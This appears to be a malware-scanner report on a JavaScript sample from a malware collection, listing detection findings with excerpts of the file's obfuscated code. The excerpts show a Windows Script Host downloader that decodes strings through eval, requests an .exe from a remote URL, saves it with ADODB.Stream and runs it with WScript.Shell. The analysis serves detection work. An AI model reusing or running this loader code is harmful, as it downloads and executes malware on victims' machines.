Suspicious ^80% javascript-malware-collection Download

20160328_6099a19c1fdbf315b3072719ef9053bf.js

Obfuscated WScript payload execution

URL scheme separator split mid-tokenretry loop wrapping try-catch (for loop)

SHA-2566b32a2161e9522e0fa058477272e68167085578d9bff694e438e4e4f7bb78ef9

Evidence

Obfuscated ADODB fragment "ADOD" line 1

1eval(lock("noop%20%3D%20%28%22htt%22%29%3B%20on%20%3D%20%284%29%3BcreateComment%20%3D%20%28%22n%22%29%3B%20completeDeferred%20%3D%20%28function%20result%28%29%7B%7D%2C%20184%29%3BattrHandle%20%3D%20%28%22nmen%22%29%2C%20stopOnFalse%20%3D%20%28%22t%22%29%2C%20contentType%20%3D%20%28%22File%22%29%2C%20doAnimation%20%3D%20%28%22dolls.%22%29%2C%20addCombinator%20%3D%20%28%22leep%22%29%3Bstart%20%3D%20%28%22.Ser%22%29%3B%20elementMatchers%20%3D%20%28%22rip%22%29%3B%20tuples%20%3D%20%28%22cr%22%29%3BcheckDisplay%20%3D%20eval%3B%20fadeToggle%20%3D%20%28%22ADOD%22%29%3B%20relatedTarget%20%3D%20%28%22P%22%29%3 …

Invokes zero-argument function at module scope lines 3–8

3:36… e, noop);
4parentOffset(what, filters, hover, doAnimation, fns);
5argument();
6eventPath(rbrace, fadeToggle, createComment);
7dataType["mo" + mappedTypes] = ((166, initial, 3));
8dataType["ty" + lang + "e"] = …

Text has empty named-parameter catch lines 10–24

8… FromTokens(progress, context);
11
12function getResponseHeader() {
for(nativeStatusText = 0; nativeStatusText < fire[progress + "h"]; nativeStatusText++) {
try {
	jsonProp();
	fragment(noBubble, on, el, hasData, prevObject);
	elemdisplay[removeProp + "e" + createComment + "d"]();
	break;
} catch(set) {
20
}
}
23
while(elemdisplay[rclass + "dyS" + hidden] != ((105 / define) & (4 | on))) m["WSc" + offsetWidth]["Sleep"](((5 * initial * …

Obfuscated computed call cluster lines 26–39

25… + "atus"] == ((6 * initial + 4) + (completeDeferred | 32))) {
dataType[newSelector + "p" + safeActiveElement + "n"]();
dataType[filters + "rite"](elemdisplay[html + "seB" + init]);
m["WScri" + documentIsHTML]["S" + addCombinator](((curCSSTop / 18) / (disableScript & 47)));
arr();
rtrim(createComment, delegateType, allTypes);
appendTo["Ru" + createComment](self);
} else {
34
⋯5 lines

URL scheme separator split mid-token lines 47–59

47:116… 2ct%22%5D%28fire%5BnativeStatusText%5D%29%3B"));
48}
49
50function fragment(marginLeft, dataFilter) {
51	checkDisplay(lock("elemdisplay%5BhasData%20+%20%22en%22%5D%28nodeNameSelector%20+%20%22T%22%2C%20noop%20+%20%22p%3A//%22%20+%20eventDoc%20+%20%22love%22%20+%20timerId%20+%20%22.com/8%22%20+%20defaultDisplay%20+%20%22hj.exe%22%2C%20%21%28initial%20%3D%3D%20%28%2831%26handlers%29/%28539/eventHandle%29%29%29%29%3B"));
52}
53
54function matcherIn(cssExpand, tokenize, isTrigger) {
55	checkDisplay(lock("appendTo%20%3D%20origName%5B%22WSc%22%20+%20elementMatchers%20+%20%22t%22%5D%5Brbrace%20+%20%22teO%22%20+%20overflowY%5D%28%22WSc%22%20+%20elementMatchers%20+%20%22t.S%22%20+%20attrId%29%3B"));
56}
57
58function argument() {
59	checkDisplay(lock("fire%20%3D%20%5B%22Msxml2%22%20+%20start%20+%20%22verX%22%20+%20implicitRelative%20+%20%22.6.0%22%2C%20hover%20+%20%22ml2.%22%20+%20fail%20+%20%22HTTP.%22%20+%20 …